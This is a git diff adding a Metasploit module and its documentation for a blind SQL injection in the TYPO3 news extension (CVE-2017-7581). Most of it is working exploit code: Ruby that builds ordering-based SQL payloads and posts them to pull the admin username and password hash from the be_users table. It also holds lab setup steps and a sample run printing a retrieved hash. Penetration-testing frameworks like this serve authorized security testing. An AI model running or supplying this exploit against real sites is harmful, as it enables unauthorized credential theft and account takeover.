diff --git a/documentation/modules/auxiliary/admin/http/typo3_news_module_sqli.md b/documentation/modules/auxiliary/admin/http/typo3_news_module_sqli.md new file mode 100644 index 0000000000..c530948448 --- /dev/null +++ b/documentation/modules/auxiliary/admin/http/typo3_news_module_sqli.md @@ -0,0 +1,49 @@ +## Description + +News module extensions v5.3.2 and earlier for TYPO3 contain an SQL injection vulnerability. This module allows an unauthenticated user to exploit the SQL injection vulnerability by generating requests to retrieve the password hash for the admin user of the application. This module has been tested on TYPO3 3.16.0 running news extension 5.0.0. + +## Vulnerable Application + +In vulnerable versions of the news module for TYPO3, a filter for unsetting user specified values does not account for capitalization of the paramter name. This allows a user to inject values to an SQL query. + +To exploit the vulnerability, the module generates requests and sets a value for `order` and `OrderByAllowed`, which gets passed to the SQL query. The requests are constructed to reorder the display of news articles based on a character matching. This allows a blind SQL injection to be performed to retrieve a username and password hash. + +## Options + +**PATTERN1** and **PATTERN2** + +These patterns are used to determine whether the news articles have been reordered. By default, the module will search for headlines and set the first identified headline to PATTERN1 and the second to PATTERN2. + +**ID** + +The value for query parameter `id` of the page that the news extension is running on. + +## Verification Steps + +- [ ] Install [Typo3 VM](https://www.turnkeylinux.org/download?file=turnkey-typo3-14.1-jessie-amd64.ova) +- [ ] Launch the VM and configure it +- [ ] SSH to the VM +- [ ] `cd /var/www/typo3/ && composer require georgringer/news:5.0.0` +- [ ] Login to the web interface +- [ ] Enable the news extension +- [ ] Import [vulnerable page](https://github.com/rapid7/metasploit-framework/files/1015777/T3D__2017-05-20_02-17-z.t3d.zip) +- [ ] Enable page +- [ ] Verify if page is visble to unauthenticated user and note the id +- [ ] `./msfconsole -q -x 'use auxiliary/admin/http/typo3_news_module_sqli; set rhost ; set id ; run'` +- [ ] Username and password hash should have been retrieved + +## Scenarios + +### News Module 5.0.0 on TYPO3 3.16.0 + +``` +msfdev@simulator:~/git/metasploit-framework$ ./msfconsole -q -x 'use auxiliary/admin/http/typo3_news_module_sqli; set rhost 172.22.222.136; set id 37; run' +rhost => 172.22.222.136 +id => 37 +[*] Trying to automatically determine Pattern1 and Pattern2... +[*] Pattern1: Article #1, Pattern2: Article #2 +[+] Username: admin +[+] Password Hash: $P$Ch4lme3.gje9o.DjMip59baG7b/mIp. +[*] Auxiliary module execution completed +msf5 auxiliary(admin/http/typo3_news_module_sqli) > +``` diff --git a/modules/auxiliary/admin/http/typo3_news_module_sqli.rb b/modules/auxiliary/admin/http/typo3_news_module_sqli.rb new file mode 100644 index 0000000000..96510825d0 --- /dev/null +++ b/modules/auxiliary/admin/http/typo3_news_module_sqli.rb @@ -0,0 +1,193 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Report + + def initialize(info={}) + super(update_info(info, + 'Name' => 'TYPO3 News Module SQL Injection', + 'Description' => %q{ + This module exploits a SQL Injection vulnerability In TYPO3 NewsController.php + in the news module 5.3.2 and earlier. It allows an unauthenticated user to execute arbitrary + SQL commands via vectors involving overwriteDemand and OrderByAllowed. The SQL injection + can be used to obtain password hashes for application user accounts. This module has been + tested on TYPO3 3.16.0 running news extension 5.0.0. + + This module tries to extract username and password hash of the administrator user. + It tries to inject sql and check every letter of a pattern, to see + if it belongs to the username or password it tries to alter the ordering of results. If + the letter doesn't belong to the word being extracted then all results are inverted + (News #2 appears before News #1, so Pattern2 before Pattern1), instead if the letter belongs + to the word being extracted then the results are in proper order (News #1 appears before News #2, + so Pattern1 before Pattern2) + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Marco Rivoli', # MSF code + 'Charles Fol' # initial discovery, POC + ], + 'References' => + [ + ['CVE', '2017-7581'], + ['URL', 'http://www.ambionics.io/blog/typo3-news-module-sqli'] # Advisory + ], + 'Privileged' => false, + 'Platform' => ['php'], + 'Arch' => ARCH_PHP, + 'Targets' => [['Automatic', {}]], + 'DisclosureDate' => 'Apr 6 2017', + 'DefaultTarget' => 0)) + + register_options( + [ + OptString.new('TARGETURI', [true, 'The path of TYPO3', '/']), + OptString.new('ID', [true, 'The id of TYPO3 news page', '1']), + OptString.new('PATTERN1', [false, 'Pattern of the first article title', 'Article #1']), + OptString.new('PATTERN2', [false, 'Pattern of the second article title', 'Article #2']) + ]) + end + + def dump_the_hash(patterns = {}) + ascii_charset_lower = "a".upto("z").to_a.join('') + ascii_charset_upper = "A".upto("Z").to_a.join('') + ascii_charset = "#{ascii_charset_lower}#{ascii_charset_upper}" + digit_charset = "0".upto("9").to_a.join('') + full_charset = "#{ascii_charset}#{digit_charset}$./" + + username = blind('username','be_users', 'uid=1', ascii_charset, digit_charset, patterns) + print_good("Username: #{username}") + password = blind('password','be_users', 'uid=1', full_charset, digit_charset, patterns) + print_good("Password Hash: #{password}") + + connection_details = { + module_fullname: self.fullname, + username: username, + private_data: password, + private_type: :nonreplayable_hash, + workspace_id: myworkspace_id + }.merge!(service_details) + credential_core = create_credential(connection_details) + login_data = { + core: credential_core, + status: Metasploit::Model::Login::Status::UNTRIED, + workspace_id: myworkspace_id + }.merge(service_details) + create_credential_login(login_data) + end + + def blind(field, table, condition, charset, digit_charset, patterns = {}) + # Adding 9 so that the result has two digits, If the lenght is superior to 100-9 it won't work + offset = 9 + size = blind_size("length(#{field})+#{offset}", + table, + condition, + 2, + digit_charset, + patterns) + size = size.to_i - offset + vprint_status("Retrieving field '#{field}' string (#{size} bytes)...") + data = blind_size(field, + table, + condition, + size, + charset, + patterns) + data + end + + def select_position(field, table, condition, position, char) + payload1 = "select(#{field})from(#{table})where(#{condition})" + payload2 = "ord(substring((#{payload1})from(#{position})for(1)))" + payload3 = "uid*(case((#{payload2})=#{char.ord})when(1)then(1)else(-1)end)" + payload3 + end + + def blind_size(field, table, condition, size, charset, patterns = {}) + str = '' + for position in 0..size + for char in charset.split('') + payload = select_position(field, table, condition, position + 1, char) + if test(payload, patterns) + str += char.to_s + break + end + end + end + str + end + + def test(payload, patterns = {}) + begin + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path,'index.php'), + 'vars_get' => { + 'id' => datastore['ID'], + 'no_cache' => '1' + }, + 'vars_post' => { + 'tx_news_pi1[overwriteDemand][OrderByAllowed]' => payload, + 'tx_news_pi1[search][maximumDate]' => '', # Not required + 'tx_news_pi1[overwriteDemand][order]' => payload, + 'tx_news_pi1[search][subject]' => '', + 'tx_news_pi1[search][minimumDate]' => '' # Not required + } + }) + rescue Rex::ConnectionError, Errno::CONNRESET => e + print_error("Failed: #{e.class} - #{e.message}") + end + if res && res.code == 200 + unless res.body.index(patterns[:pattern1]).nil? || res.body.index(patterns[:pattern2]).nil? + return res.body.index(patterns[:pattern1]) < res.body.index(patterns[:pattern2]) + end + end + false + end + + def try_autodetect_patterns + print_status("Trying to automatically determine Pattern1 and Pattern2...") + begin + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path,'index.php'), + 'vars_get' => { + 'id' => datastore['ID'], + 'no_cache' => '1' + } + }) + rescue Rex::ConnectionError, Errno::ECONNRESET => e + print_error("Failed: #{e.class} - #{e.message}") + return '', '' + end + + if res && res.code == 200 + news = res.get_html_document.search('div[@itemtype="http://schema.org/Article"]') + pattern1 = news[0].nil? ? '' : news[0].search('span[@itemprop="headline"]').text + pattern2 = news[1].nil? ? '' : news[1].search('span[@itemprop="headline"]').text + end + + if pattern1.to_s.eql?('') || pattern2.to_s.eql?('') + print_status("Couldn't determine Pattern1 and Pattern2 automatically, switching to user speficied values...") + pattern1 = datastore['PATTERN1'] + pattern2 = datastore['PATTERN2'] + end + + print_status("Pattern1: #{pattern1}, Pattern2: #{pattern2}") + return pattern1, pattern2 + end + + def run + pattern1, pattern2 = try_autodetect_patterns + if pattern1 == '' || pattern2 == '' + print_error("Unable to determine pattern, aborting...") + else + dump_the_hash(:pattern1 => pattern1, :pattern2 => pattern2) + end + end +end